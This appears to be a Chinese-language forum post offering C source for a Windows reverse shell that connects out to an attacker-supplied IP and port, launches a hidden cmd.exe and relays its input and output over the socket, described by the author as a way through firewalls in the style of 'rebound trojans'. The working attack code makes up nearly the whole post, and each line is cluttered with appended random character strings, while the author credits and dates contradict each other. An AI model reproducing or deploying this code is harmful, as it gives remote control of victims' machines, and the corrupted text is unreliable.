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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _$f XK  
[=otgVteN"  
/* ============================== mv0JD(  
Rebound port in Windows NT x9lG$0k:V  
By wind,2006/7 -$Ad#Eu]M  
===============================*/ 9pPohR*#V  
#include i_KAD U&mP  
#include 'T_Vm%\)  
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#pragma comment(lib,"wsock32.lib") R{X@@t9@  
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void OutputShell(); "T?hIX/p _  
SOCKET sClient; [!Jd.zm  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p^yuz (  
vnrP;T=^  
void main(int argc,char **argv) DNu^4#r  
{ ov@N13 ,$  
WSADATA stWsaData; jJ B+UF=  
int nRet; b-Q%c xJ  
SOCKADDR_IN stSaiClient,stSaiServer; b;AGw3SF  
-*QxZiKD  
if(argc != 3) >0kZ-M5  
{ }CoR$K   
printf("Useage:\n\rRebound DestIP DestPort\n"); k|-P&g  
return; W ^MF3  
} {~lVe GBp  
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WSAStartup(MAKEWORD(2,2),&stWsaData); UF$JVb  
n!Dy-)!`O  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7H~J?_  
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stSaiClient.sin_family = AF_INET; /%P|<[< [  
stSaiClient.sin_port = htons(0); 4J"S?HsW|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  #"6O3.P  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w}`TJijl  
{ M zWVsV  
printf("Bind Socket Failed!\n"); <EHgPlQn  
return; v_7?Zik8E  
} (#t"u`_Ee  
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stSaiServer.sin_family = AF_INET; J2ryYdo>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1F*3K3T {  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h yPVt6Gkj  
^V1iOf:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +Ui @3Q  
{ I>(3\z4s  
printf("Connect Error!"); )rqb<O  
return; p;P"mp\'  
} >3v j<v}m  
OutputShell(); L93PDp4v  
} GO|1O|?  
VD,p<u{r  
void OutputShell() [#}0)  
{ V^  
char szBuff[1024]; WFYbmfmV  
SECURITY_ATTRIBUTES stSecurityAttributes; D;@nrj`.  
OSVERSIONINFO stOsversionInfo; Exy|^Dr0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9Ez>srH(  
STARTUPINFO stStartupInfo; T=NF5kj-=  
char *szShell; 5\?\ |*WT  
PROCESS_INFORMATION stProcessInformation; !sJ*0  
unsigned long lBytesRead; Rfk8trD B  
e?V7<7$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); uVQH,NA,  
n[mVwQ(%  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qt.G_fOz  
stSecurityAttributes.lpSecurityDescriptor = 0; hI^Hqv  
stSecurityAttributes.bInheritHandle = TRUE; " 0:&x n8L  
0|D^_1W`R  
E6=JL$"  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); W`qiPLk  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); e\[z Q 2Z3  
aLWNqe&1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c6;326aD q  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;?*`WB  
stStartupInfo.wShowWindow = SW_HIDE; 4dB6cg  
stStartupInfo.hStdInput = hReadPipe; g?}$"=B   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {D6E@a  
m$bX;F}T  
GetVersionEx(&stOsversionInfo); e1EFZ,EcaO  
n' XvPV|  
switch(stOsversionInfo.dwPlatformId) BkH- d z  
{ |U GmIm%  
case 1: \L-K}U>J  
szShell = "command.com"; z)Yk&;XC  
break; &?#,rEw<x  
default: /9K,W)h_  
szShell = "cmd.exe"; N`G* h^YQ  
break; &yQilyU{V  
} zE~{}\J  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;T9u$4 <  
7M|!N_ $  
send(sClient,szMsg,77,0); ({R-JkW: ;  
while(1) :75$e%'A  
{ fku\O<1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j[^(<R8  
if(lBytesRead) L7gZ4Hu=`  
{ xD:t$~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P ,%IZ.  
send(sClient,szBuff,lBytesRead,0); xb N)z  
} AM[#AZv  
else #[Z1W8e  
{ y4V~fg;  
lBytesRead=recv(sClient,szBuff,1024,0); >nqDUGnEo>  
if(lBytesRead<=0) break; n]15 ~GO.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZQ%4]=w  
} P0Q]Ds|  
} <l:c O$ m  
#:~MtV  
return; ^:Mal[IR  
}
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